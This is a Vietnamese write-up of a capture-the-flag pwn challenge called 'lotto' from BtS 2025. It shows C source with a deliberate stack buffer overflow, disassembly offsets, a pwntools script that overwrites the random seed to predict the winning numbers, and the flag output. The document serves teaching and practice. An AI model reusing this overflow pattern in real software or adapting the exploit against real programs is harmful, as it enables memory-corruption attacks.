BtS 2025
lotto
Không kiểm tra kích thước của src so với dest và sử dụng kích thước của src làm đối số count trong memcpy(), gây stack buffer overflow.
October 17, 2025
•
Easy
Source Code
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/random.h>
#include <unistd.h>
#pragma pack(1)
#define WELCOMEMESSEGE \\
" .____ __ __ \\n" \\
" | | _____/ |__/ |_ ____ \\n" \\
" | | / _ \\\\ __\\\\ __\\\\/ \\\\ \\n" \\
" | |__( <_> ) | | | ( <_> )\\n" \\
" |_______ \\\\____/|__| |__| \\\\____/ \\n" \\
" \\\\/ \\n" \\
" Enter 6 numbers in range 1 to 49 \\n"
#define FAILMESSEGE " Better luck next time ;) \\n"
#define CORRECTNUMBERSMESSEGE " Number of correct guesses: "
unsigned userLookup[49] = {};
unsigned winingLookup[49] = {};
unsigned winingNumbers[6] = {};
typedef struct {
unsigned int correctNumbers;
char userInput[32];
char welcomeMessegeBuffer[sizeof(WELCOMEMESSEGE)];
unsigned int seed;
char failMessegeBuffer[sizeof(FAILMESSEGE)];
char correctNumbersMessegeBuffer[sizeof(CORRECTNUMBERSMESSEGE)];
} lottoData;
int main() {
lottoData lotto = {};
unsigned userNumbers[6] = {};
lotto.seed = 0;
getrandom(&lotto.seed, sizeof(lotto.seed), 0);
memcpy(lotto.welcomeMessegeBuffer, WELCOMEMESSEGE, sizeof(WELCOMEMESSEGE));
memcpy(lotto.failMessegeBuffer, FAILMESSEGE, sizeof(FAILMESSEGE));
memcpy(lotto.correctNumbersMessegeBuffer, CORRECTNUMBERSMESSEGE,
sizeof(CORRECTNUMBERSMESSEGE));
setbuf(stdout, NULL);
printf("%s\\n ", lotto.welcomeMessegeBuffer);
char input[sizeof(lottoData)] = {};
fgets(input, sizeof(lottoData), stdin);
memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);
sscanf(lotto.userInput, "%u %u %u %u %u %u", &userNumbers[0], &userNumbers[1],
&userNumbers[2], &userNumbers[3], &userNumbers[4], &userNumbers[5]);
for (int i = 0; i < 6; ++i) {
winingNumbers[i] = rand() % 49 + 1;
}
for (int i = 0; i < 6; ++i) {
userLookup[userNumbers[i]]++;
winingLookup[winingNumbers[i]]++;
}
for (int i = 0; i < 49; ++i) {
if (userLookup[i] > 0 && winingLookup[i] > 0) {
lotto.correctNumbers += MIN(userLookup[i], winingLookup[i]);
}
}
if (lotto.correctNumbers == 6) {
system("cat flag");
} else {
printf("%s%u\\n", lotto.correctNumbersMessegeBuffer, lotto.correctNumbers);
printf("%s\\n", lotto.failMessegeBuffer);
}
}Mitigation

Solve
Ý tưởng đó là ghi đè seed để luôn random ra cùng 6 số.
Chúng ta so sánh code C và disassembly:
0x00005555555553c9 <+480>: mov rdx,rax
0x00005555555553cc <+483>: lea rax,[rbp-0x190]
0x00005555555553d3 <+490>: lea rcx,[rbp-0x310]
0x00005555555553da <+497>: add rcx,0x4
0x00005555555553de <+501>: mov rsi,rax
0x00005555555553e1 <+504>: mov rdi,rcx
0x00005555555553e4 <+507>: call 0x5555555550b0 <memcpy@plt>
0x00005555555553e9 <+512>: mov eax,DWORD PTR [rbp-0x1d9]
0x00005555555553ef <+518>: mov edi,eax
0x00005555555553f1 <+520>: call 0x555555555090 <srand@plt>memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);lotto.userInput nằm tại rbp-0x310 và lotto.seed nằm tại rbp-0x1d9, chúng cách nhau 0x137 bytes. Vậy chúng ta cần ghi tổng 0x137 bytes kết thúc bằng AAAA để ghi đè seed thành 0x41414141.
Script
from pwn import *
import ctypes
p = process('./lotto.bin')
libc = ctypes.CDLL('./libc.so.6')
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
libc.srand(0x41414141)
payload = b''
for i in range(6):
payload += str(libc.rand() % 49 + 1).encode() + b' '
payload = payload.ljust(311, b'A')
p.sendline(payload)
print(p.recvall(timeout=2))┌──(kali㉿kali)-[~/Desktop/BtS-2025-Writeups/pwn/lotto/challenge]
└─$ py solve.py
[+] Starting local process './lotto.bin': pid 433180
[+] Receiving all data: Done (306B)
[*] Process './lotto.bin' stopped with exit code 0 (pid 433180)
b' .____ __ __ \\n | | _____/ |__/ |_ ____ \\n | | / _ \\\\ __\\\\ __\\\\/ \\\\ \\n | |__( <_> ) | | | ( <_> )\\n |_______ \\\\____/|__| |__| \\\\____/ \\n \\\\/ \\n Enter 6 numbers in range 1 to 49 \\n\\n BtSCTF{m4k3_y0ur_0wn_1uck}\\n'